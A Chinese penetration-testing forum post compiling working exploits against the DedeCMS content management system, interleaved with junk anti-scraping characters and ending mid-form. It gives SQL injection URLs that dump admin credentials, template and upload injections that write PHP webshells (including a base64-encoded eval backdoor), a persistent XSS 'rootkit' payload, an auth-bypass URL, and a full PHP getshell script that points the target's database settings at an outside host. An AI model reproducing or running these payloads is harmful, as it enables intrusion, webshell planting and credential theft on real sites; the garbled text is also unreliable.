中国网络渗透测试联盟

标题: dedecms漏洞总结 [打印本页]

作者: admin 时间: 2012-10-18 10:42
标题: dedecms漏洞总结

Dedecms 5.6 rss注入漏洞, t& p0 C- T( ?% }) K  T& y
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1- N2 I0 h. G8 k

7 ?! h, K' _" P$ e7 z  U9 h& l/ e& ~. V
, B! F: H- y; A

/ k. L9 d! W* M# B
2 j7 t1 l& `) R9 L% ]: q- p/ a1 `$ R& u7 i

% V" i) M7 C  p, M: s
: `3 a  O8 I; v* GDedeCms v5.6 嵌入恶意代码执行漏洞
/ {# o6 \; X- W8 H* h5 H注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}& M: V( U5 f& F8 J
发表后查看或修改即可执行- V# A+ o8 r1 V1 M
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}* g. ~' G/ C5 _3 ^
生成x.php 密码xiao，直接生成一句话。' I* \$ r  q- W1 c% f- @+ t1 N

! W% s' Y5 p, T8 {  ]1 F7 U! z9 ?0 s5 I; a: R

6 G# T5 Z3 G- O7 ?6 {2 j( e; i1 L+ X/ S, w2 F2 _( l5 n9 s7 w

) [) [2 w% }5 r- k0 M( \; @6 C2 [2 X) H! s3 Y+ m  ~, S$ w
" p6 R' S+ F/ Q3 @8 _
: f, }3 f" p! ^# U) p
Dede 5.6 GBK SQL注入漏洞
& h* U6 K& W1 y9 {" G4 Ehttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
9 e7 A7 r% T2 @9 \, hhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞4 k7 \, G7 D' K) N' _* ^1 F: l2 t
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
) u) W/ Z3 l/ }( d. d
- h1 ]; E7 R- S/ M$ B
0 A. K) \8 R$ V( u) L/ |# C( |& e! [$ I$ U3 h& `

+ O9 u4 `- h% w3 d, c( G
# G" B8 t0 z) F/ @# j5 a; [6 _1 j) L6 o6 `: |7 v" J- X
DEDECMS 全版本 gotopage变量XSS漏洞
6 I! R1 ]$ V( `1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。 5 j7 j; h/ T- c. `2 l
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
$ s. x/ v3 P1 d% w/ U  L. v$ M% s9 r: }7 S2 j0 g6 H3 v

% \7 l) h% ^  C! K$ }7 G9 |& t5 R" v2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。 7 u3 \- G0 P5 b5 q
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

http://v57.demo.dedecms.com/dede/login.php

color=Red]DeDeCMS(织梦)变量覆盖getshell6 r* _" F, f6 D  W+ t" i& C
#!usr/bin/php -w
- `, y+ B% v& B+ [<?php6 K8 [, h; \- c2 s
error_reporting(E_ERROR);. V) t* B( y1 n; r" r
set_time_limit(0);
) ^7 {$ w% A) c1 j/ j' _2 `4 Iprint_r('
* m7 [1 t0 I0 u* l( z& m& vDEDEcms Variable Coverage* n( N  K, J" d/ p. z# p& ]7 K; \9 I
Exploit Author: www.heixiaozi.comwww.webvul.com
);
+ v5 u' `9 w7 j; s7 Secho "\r\n";
( Z- P6 O9 V+ g! e9 Uif($argv[2]==null){
4 w) i* \  @9 ]$ h+ Y- @print_r('" t/ J- E8 Z! i9 l+ F$ ?
+---------------------------------------------------------------------------+
0 n! ?! v" F5 ?) C: PUsage: php '.$argv[0].' url aid path% M# C  I, h, a3 R. e: A
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
. f3 j: F4 f) Z+ f- GExample:
0 I+ y# ?! }! e8 v/ f0 A1 wphp '.$argv[0].' www.site.com 1 old. \  c- L3 t. e  d& h" _5 J4 `
+---------------------------------------------------------------------------+
6 E2 V! g9 l# h');
& w( v7 Q; [9 g- S; c2 texit;" f% e  l' p. N5 m( p% N4 L0 c
}& y. P, R! k) u' z
$url=$argv[1];) k- V8 f" C2 l  {7 r
$aid=$argv[2];
; ]0 @3 p8 t7 B7 ]5 w$path=$argv[3];5 D3 w: V0 \) `$ a5 a
$exp=Getshell($url,$aid,$path);) i1 Z2 @. x/ r( d  j6 q, g6 ^% Y
if (strpos($exp,"OK")>12){
1 Z. i' a) e# {9 G; hecho "( ?( @0 d6 g8 n* b9 v$ e- P9 Y
Exploit Success \n";. F3 X, {$ u( a6 J- ]* {! l! O
if($aid==1)echo "' S+ l3 y: @/ P. l; G6 h& w
Shell:".$url."/$path/data/cache/fuck.php\n" ;
- ^& |# a: u! G7 F1 S6 N  a% @6 K& [  k/ _  a3 n( Q: e. v
; U9 R0 O5 ]  W; z
if($aid==2)echo "
: x' F1 c6 A2 h& @' kShell:".$url."/$path/fuck.php\n" ;
  J7 I% R$ E* g4 H: E& a/ D9 ?5 p# f
7 B4 n+ G& B& ?# P7 t# e3 M; G! O# `! d  k6 ~
if($aid==3)echo "
4 L- {0 J" X* `( `3 d" @+ Y  sShell:".$url."/$path/plus/fuck.php\n";
9 Q/ L$ J4 W6 g1 t; j
, ]- N& k* q0 d& ]; y% t- V# X% k5 l2 S% G/ R% ~1 i
}else{/ o! D$ b7 R5 g# N$ A
echo "
' }+ Y6 p1 _( uExploit Failed \n";
, k& ]: ^; M& b; y( S}. \5 X* i9 c: C) B% E" ^8 k
function Getshell($url,$aid,$path){
. Z" j$ O/ }# ]& D& W( M9 O- F$id=$aid;
/ C7 s0 \% X6 L6 o) A3 `1 c5 E$host=$url;
9 s) u0 r% w' [. L# D, o6 k$port="80";
% c5 ?' S' v+ K- n9 D1 }! s) z$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";3 j& T+ O* t! P# F# E
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";2 W9 d* F( j/ G" j) Z+ b1 z# x- Z
$data .= "Host: ".$host."\r\n";  D% ~+ X0 p0 e4 b2 j
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";# b0 T% J/ J" ?( p
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";) g3 `7 H* b, K: X
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
2 F- i  L1 r) f3 Q- j4 s# o: w1 f9 I//$data .= "Accept-Encoding: gzip,deflate\r\n";/ W, j! g  E+ t5 ~  e8 v( H
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
; E5 c1 t4 d& ?- S2 q/ ]7 M$data .= "Connection: keep-alive\r\n";4 ^# R3 m1 Z4 d) G
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";, t% V: \9 E6 M) W. u
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" x' h; g& D2 {5 k" [
$data .= $content."\r\n";
- H+ z" h" ~) I$ock=fsockopen($host,$port);& p, {5 O+ k1 L" n
if (!$ock) {
0 R8 t0 f8 h) R8 k) ]& B( ~# S- S. `echo "5 f* Z' L2 S+ N* x$ f/ b" v/ {6 w
No response from ".$host."\n";9 J! w. o5 o( p" F
}
, P8 P& G! v% d6 efwrite($ock,$data);4 X9 G. R# x$ ^. d/ Q1 U, d( x
while (!feof($ock)) {
, |+ }5 M% N8 k* V" |7 c% F$exp=fgets($ock, 1024);/ l1 T0 g0 S! ~3 x. |
return $exp;
% F3 \$ L/ Y8 M( c# U  i}
; t4 I' u& Q' v# \- \, Y/ {# B}
6 {3 S9 Y% X, A5 Z( P/ n( M' C' M: I+ v0 U$ a! f
! ]0 W0 X$ N3 V# @
?>
3 J( U- j: B) K9 d9 m* D5 N
6 l# n' e- ], B7 Z) t
  \4 V: ^0 o/ |5 m1 `7 e. O/ s" e% Z6 A+ ]* k6 ?. ]1 G
' h2 W* d3 `) S/ Y0 O/ t7 y

+ f3 I" M9 }5 m" T$ J+ @7 |' [
4 G% j5 Y( C% J! F& [/ {  p
  f+ `/ i, j. E; x
" x, ~0 `& H/ Y+ j  a: ]3 ~  T6 \3 Y1 ?$ Y1 @' q8 W

/ ^# L& K4 A) ?- H! w( e: \, eDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
: x5 L3 E. D8 v) k- R- lhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
  ~; x. q: k% M- x( g; h3 {' }, Q9 m" R; N
7 m$ T5 E8 c7 [: w& n
把上面validate=dcug改为当前的验证码，即可直接进入网站后台
5 j: ^) v- B% ?. K# F% H
- v' g- q' ~9 f4 |0 E3 x2 p* g" _1 L8 f: V# T
此漏洞的前提是必须得到后台路径才能实现
, ?* n' h1 E+ Y, O) q
6 p, N# z, l9 \9 g  a+ |4 a: [; |: v
$ |& ?6 d% Y9 k7 b& b1 R
9 n1 f$ K1 |: R& z/ H8 x3 t- |4 u/ t2 d* D; k/ e

, b7 Y# R6 k9 i  s: i' Z, s" I; G- Z3 a7 n% M- Y; j+ u
1 k: ~2 ?$ F, k2 ~% I

. O6 A1 M; a1 B9 U! c9 r
0 N" h3 d- W; {9 p5 Y5 l) }  u& L- ?3 N5 h- e1 Y- b
Dedecms织梦标签远程文件写入漏洞
1 @$ {$ e2 K  @' v前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
* N( q' j3 E4 ]: V+ _1 U( a
7 d8 U$ J+ p! h. c6 o0 n# h0 N  x% b- E* Y
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
  f# y1 G+ b3 r  C+ V. t% C<form action="" method="post" name="QuickSearch" id="QuickSearch">
1 ~. i9 B% ?7 F<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />' r: X& p' N& _; k
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />. I, b+ \' P# J! y
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />: J+ B/ F6 `. U# l2 D/ o# k  a
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />9 H. a4 F( U" y* C# S& p3 O% v
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
5 I8 r8 ]7 e3 u% y5 X% [* s4 x<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
3 @" `  Z0 U+ j3 v0 u2 H<input type="text" value="true" name="nocache" style="width:400">' B3 b! c8 g0 p0 i
<input type="submit" value="提交" name="QuickSearchBtn"><br />
' d. \' j; Y. d0 O</form>
) H* A  l2 }- |<script>' P( L' M/ M/ Y+ |
function addaction()6 y( q/ C& j9 C6 ~
{7 R; V! C% U7 ~8 S) x& V( H! B! ]0 K
document.QuickSearch.action=document.QuickSearch.doaction.value;. x1 N, f. w1 X% W* N
}  T) ]  `: f* d7 e+ A
</script>
( H, M$ x8 k7 S( X! _5 o+ e
8 U# Y9 v  T6 t+ c$ ?
3 K( q8 r* i, _5 ]$ L! x
( t& j$ O/ C) X5 M) f$ j" f6 U7 X: ?  d6 F2 W/ I

! L3 U6 ~' @- Z* t* ]* L6 }( q1 ~( U" I0 p1 n6 L4 h

- \% F+ C) W. c0 H4 u, q" D& h4 h
# K" t8 t7 L) C: A! w$ Y4 w
% O+ B2 I5 G; i# M: i
) D. P" B( j$ [$ F/ ~0 KDedeCms v5.6 嵌入恶意代码执行漏洞
, _# V; O8 b8 G3 R注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
( d% j7 ]: I# A  j, G4 f! Ma{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
7 Z8 Z  U) [! A生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
1 d/ S1 c* ~7 Y" ^1 i/ R, v  F* n& GDedecms <= V5.6 Final模板执行漏洞3 E  g& V# O2 z- G, I
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
$ N. k' T, A' F% T8 ?; Muploads/userup/2/12OMX04-15A.jpg
6 n9 x! c) b% e/ Q7 [8 X
  F: b' u6 i( b) Q; u/ ^8 D$ ^
8 a0 Z6 R& N1 n  p! w% j& [/ f模板内容是（如果限制图片格式，加gif89a）：
( @; g/ i2 b- t& y{dede:name runphp='yes'}& P' c+ i  |; k  u0 C& l' r  @3 o
$fp = @fopen("1.php", 'a');
& ~  U+ r7 W: x# N3 N( C: c@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
& e+ H# E& d6 L% n@fclose($fp);
- }& X2 s; _; d" z9 ^0 A5 n' L0 [7 V{/dede:name}: |. l* H- W) I6 f
2 修改刚刚发表的文章，查看源文件，构造一个表单：
4 r6 U# Q: V+ \5 ~0 {<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">9 b4 J1 K  u5 O: z# q
<input type="hidden" name="dopost" value="save" />3 d3 V! f) X# A7 t/ f; L
<input type="hidden" name="aid" value="2" />
4 i& d6 W1 R; T: j<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />6 I5 q' u$ d! a5 J: m
<input type="hidden" name="channelid" value="1" />' G% B9 x9 R% W* B# P
<input type="hidden" name="oldlitpic" value="" />
- q6 W) D: {: k. C" k0 d5 _) l9 N<input type="hidden" name="sortrank" value="1275972263" />' d5 e% V. w1 D/ k, r
# T$ `  A2 d$ [& D
! R& J% |; k- B( y' t
<div id="mainCp">% Z3 {3 R6 l. s: n* o6 d
<h3 class="meTitle"><strong>修改文章</strong></h3>
/ s. g7 W7 h' \# G6 M' ]8 ^$ e$ p# ^- j
0 J2 P! {0 J7 ]% Z
<div class="postForm">
3 [) E( T- m3 |3 n* O! @! \<label>标题：</label>- b  `7 S' o  x7 C. N
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
' M8 N- ^) F3 s$ M: F5 \* d7 M1 B
! ~3 d& U6 c  p, U5 A6 [+ X0 x$ o! Q. T
<label>标签TAG：</label>; Z7 Z7 r/ x! T- s1 S
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
9 x" `: A: z8 h" W/ ?4 x* U# R1 X3 k6 i% h

$ O% R, Z8 P9 c3 ?0 H<label>作者：</label>; b6 O5 g; H9 _* x) [# t
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>" }* r6 f; G. ~3 d1 s6 v' n
. c5 s/ T; j+ k: R! ?; H

  I1 W' Q# T& l6 P<label>隶属栏目：</label>
" X+ z2 r9 |; A9 X; k<select name='typeid' size='1'>* H8 V& |; x$ g2 N, s! g/ S
<option value='1' class='option3' selected=''>测试栏目</option>
. R+ U0 ~$ B) M4 Q# F, t5 b</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
1 r0 V# V. A3 d' f$ [

4 Z3 J% [- ^, _& l! O1 V<label>我的分类：</label>. j' n% X; v1 a) V% B9 Y
<select name='mtypesid' size='1'>
# u% l& P# d: r5 z<option value='0' selected>请选择分类...</option>
* Y6 z8 Z5 W0 f% q<option value='1' class='option3' selected>hahahha</option>
9 _  e! L" H, E+ T' ]) i" r</select>5 u2 u1 K" d& c! f: g% S: A+ k

6 Z' }3 I- W- r/ j2 I1 ~! X5 V' `
# ~9 T+ k' H/ S# G" V<label>信息摘要：</label>
) _2 n' }* P& r<textarea name="description" id="description">1111111</textarea>+ d' h0 X, C6 V
(内容的简要说明)1 _: p+ m8 i7 b  ^0 M

, A' U4 H" q, K& T" l# w
( |8 \3 E3 n* t) U# p# C<label>缩略图：</label>
& [  H4 T/ [& D<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>7 F' G9 P! e; x: h1 Y
: t1 W) c. V# f

& b# Y; j. h" [  p0 p- H* i<input type='text' name='templet'0 ^; P% k* M/ T/ f9 z
value="../ uploads/userup/2/12OMX04-15A.jpg">& i, L8 f9 R8 x/ s# ?
<input type='text' name='dede_addonfields'5 k/ M. {" D& J1 L( ?1 {7 O
value="templet,htmltext;">（这里构造）; i, `6 c) [- t3 F- X* _
</div>
2 g. x9 R8 U. N( L1 R( ]8 y& w: c% a3 s6 m

: i! E) d! \2 R" Q  q1 @
  T- f. o0 S8 J" c. q! l<h3 class="meTitle">详细内容</h3>
  C; Q' Z" O: N7 A3 l9 U$ S! s: X. R5 _; O& t, d0 d$ f; b
$ u$ E2 E# L# U6 J& a* R4 C
<div class="contentShow postForm">
, b4 a) W- k: L4 K) q<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>( T$ C* ?% S. ?/ N

3 U8 y& r0 L1 V9 N; ^. o: D& h/ p& B: O- C" w; l
<label>验证码：</label>% ]6 Y- ?& U3 F5 Y, e7 Z
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
* M+ h( @+ w! [0 ^<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />' z, u$ n! m9 f# ^$ r$ [

  ?5 {, o& W6 ^# a# M
4 l) ?7 F8 k+ I! W<button class="button2" type="submit">提交</button>
& H& p: _5 Q0 T% q<button class="button2 ml10" type="reset">重置</button>
+ g3 t6 R1 e1 I5 ?- i" \! |; M' B</div>5 m4 N+ i& v9 {2 b
+ u; i  y  i8 {7 m* G0 H2 N

; F, \1 i5 w6 a$ p1 P/ F</div>
: O6 r' M# x: g0 [7 U
5 C% y  N! f0 _/ F2 {6 F; h3 I0 z# [3 O5 \, J% q( c
</form>  C9 w1 o$ ]3 t+ V# c  z8 d

# e. v$ |9 K$ ?" K- w7 n( F3 g" P; U+ F4 f- U7 s
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
0 y' @' r) Q. G3 T( C  p0 E9 @假设刚刚修改的文章的aid为2，则我们只需要访问：% H% `  w3 |! h) p* t% z: Q* D
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php9 K0 b  H( @. H; v6 |0 `6 r

* I# g9 r; i, W0 y* b! H* A, J0 w. n6 N8 U' ~

3 I9 @$ H' Z1 M6 O2 H
+ H1 ?2 e! ?/ R. m4 v; \* e9 D+ {5 Y' c# q5 f
  `. k/ ~5 J, T" c6 z; ~

" k" }( ~( e+ E8 S  i" ?4 o
0 q$ }" H7 B/ ?+ k
7 T" y9 Z* H5 Q; C' X: x3 N
2 S1 l2 b5 Y- x
6 h! C' c- D0 O. ~5 ]
; e6 {4 Y; k2 M/ W! S. z! @DEDECMS网站管理系统Get Shell漏洞(5.3/5.6), ^  q0 E: a" {8 [$ o) Q
Gif89a{dede:field name='toby57' runphp='yes'}& {1 t3 v% {# b
phpinfo();# q6 ^  i) A9 ~
{/dede:field}
& ?0 V" ]' A, N# n7 P$ a保存为1.gif. \' J, Y2 j8 u. w* J2 P/ R2 k
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
1 s0 M7 r* z. j8 p1 _3 K- P<input type="hidden" name="aid" value="7" /> " D/ q) Q! b6 y/ p
<input type="hidden" name="mediatype" value="1" /> " r1 t6 _: C- D3 A
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br> % U1 V' v% l6 [8 Z3 K( _3 e
<input type="hidden" name="dopost" value="save" /> 2 j/ _7 W7 C+ }4 P2 g
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/> & W7 E8 F) }) i) i$ J
<input name="addonfile" type="file" id="addonfile"/> 4 c" u2 G' y$ u( T. S6 t& x
<button class="button2" type="submit" >更改</button>
9 O) m1 ]4 X( S  Z& ]- \</form>   j6 V( B$ j) P  W: m  E

2 x/ u9 Q- i( o# @  J% l2 E. P% R+ k1 s2 p
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif) b9 Y& V9 i2 j6 V* d# V
发表文章，然后构造修改表单如下：
5 M+ G7 u" _6 C, _
* c4 R% y0 i. |  S3 ~9 N) y# A4 `6 B$ O
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> 6 u0 |" k& n  _1 L. J7 d9 Z9 b
<input type="hidden" name="dopost" value="save" /> ) `/ F) B7 i" F6 A1 N
<input type="hidden" name="aid" value="2" />
9 ?4 R0 e% R# v" q<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" /> & F  ?. C! b& d+ X# H
<input type="hidden" name="channelid" value="1" /> : Y+ t' E/ F6 u6 H, H: |
<input type="hidden" name="oldlitpic" value="" /> , t6 T6 N0 x+ R6 C  T
<input type="hidden" name="sortrank" value="1282049150" />
9 u3 R+ H" t* C6 h6 F<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/> 4 G9 m( X2 X6 L" Z
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
" n, U$ I$ L+ W5 X/ m8 i<select name='typeid' size='1'>
0 w: [8 K) {3 e2 C. H<option value='1' class='option3' selected=''>Test</option>
+ h; X" j3 S: o+ H% ^+ e<select name='mtypesid' size='1'> 3 e+ p; e* @( m
<option value='0' selected>请选择分类...</option>
+ K; m# k, v) n4 B7 N, g<option value='1' class='option3' selected>aa</option></select> 5 O- S8 ?4 o/ O( p. q8 z
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea> 4 L/ i% D9 k. j% r0 c% l
<input type='hidden' name='dede_addonfields' value="templet"> ; T: L4 ^) g9 _7 g
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
* y: R% ^7 K& c. A. X3 Q1 q0 C0 q2 O<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 7 r1 r" s: Q' v$ ~  n6 `4 v
<button class="button2" type="submit">提交</button>
' B9 R8 Q& ^( @' L2 f8 g' e</form>
1 y# R7 `$ L( Z) b* t5 E, L$ N/ m+ Z6 z! |

- G& t1 h9 |* l, n6 a& ?! J( s$ F0 y- [9 E  t
) ~/ L7 N6 I* M2 \8 @" j. H

* @, s. I! j- F7 ^& A3 G
% G9 Z0 w- g$ h3 Q1 ~
$ N2 e; l- u7 o4 u4 d- z$ |1 |8 \# W* E8 }& A# V0 P4 c

3 }2 G+ v3 M+ A! h; N0 K" l" [. ]. I7 [" {

& T$ b+ K* a/ J" `
, F. D- y. h  W. C) F织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞 2 i' p7 N1 v* ^1 |* ~3 q) f) |5 s9 h
http://www.test.com/plus/carbuya ... urn&code=../../7 e0 H, {7 m/ }; {; c/ T) U  n/ n& _
" m5 J) Q0 k* y, A- u: g

4 [8 N* S& F* Z/ r6 L3 ]/ [, ^# _, r/ x, B# N5 Y
+ i( |8 z: {8 q% V; x
: w2 g5 s) r$ @  }5 d

# l5 p% j8 a/ b: x6 ~
& ]  t' g, q4 I* I* ~9 S* ^1 J3 H- _

+ n( h+ r1 `- C* m0 m3 Q
4 J: L( L- m" i6 z1 {DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
8 U  Y: D9 ~+ A4 }, ~+ g6 `plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
# G$ K1 D! Z* z+ s0 r/ |9 P4 s& w密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5; O, U; y/ |; _1 ^
( F6 [. Y  s" c

# s& U) ?2 H/ |/ J3 v$ k- t  g4 S: ]  @

+ o: Y+ T6 P; _" b+ `; `! A2 d2 Z6 _  o# ~; H+ ~8 t

) _7 N5 }* K; y% Q& F
2 E' _0 ~# {) M
; D! {, f5 b, }. G
1 r7 n! x6 r$ E) }" d& p8 J8 A( W! K8 }" O; s0 ?. L( P* e2 n
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞8 |8 Y/ a! c2 c& g0 j
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='; F+ @- M+ E7 ^4 U/ X# f

1 I) O4 X5 H9 K( ~8 n0 H# Y, u- X
! b1 [% G/ Z9 h7 ]6 @
  J7 j" w2 a6 M6 @
5 i7 M8 o  t( e+ v! {" O
0 j4 b. A: M7 G0 q+ Y
* r+ P; N3 v3 l( m- I9 X6 w
2 {' M4 Z, F8 g6 _/ |' H7 w2 Y

- ?- u9 ~1 E6 u. o" o6 z* \" I2 x# Z
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞/ E) E" {1 k" @/ |* E
<html># t# o. I) ]* w$ m
<head>) H, I4 B5 L' j4 ]6 \4 A  e* P
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
  @% `) B6 S- t$ R( N</head>
, ~+ Y/ x8 z4 B( l& f<body style="FONT-SIZE: 9pt">; A1 ]0 ~  y/ F' |3 C' x8 E+ C
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
! E; H& ]) x0 H5 ]1 H  G' x  E<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>% v" u; q: k5 I4 |% F: k
<input type='hidden' name='activepath' value='/data/cache/' />
) m9 S* M. S, D3 F( j) Q. |7 j* n5 z<input type='hidden' name='cfg_basedir' value='../../' />
8 Y  |& H- f8 p1 _<input type='hidden' name='cfg_imgtype' value='php' />
, q8 A/ {7 L- [9 {<input type='hidden' name='cfg_not_allowall' value='txt' />
0 z7 T' f5 n5 p7 G2 O5 g<input type='hidden' name='cfg_softtype' value='php' />5 |% M2 }  Z( e( X' A! x. K
<input type='hidden' name='cfg_mediatype' value='php' />
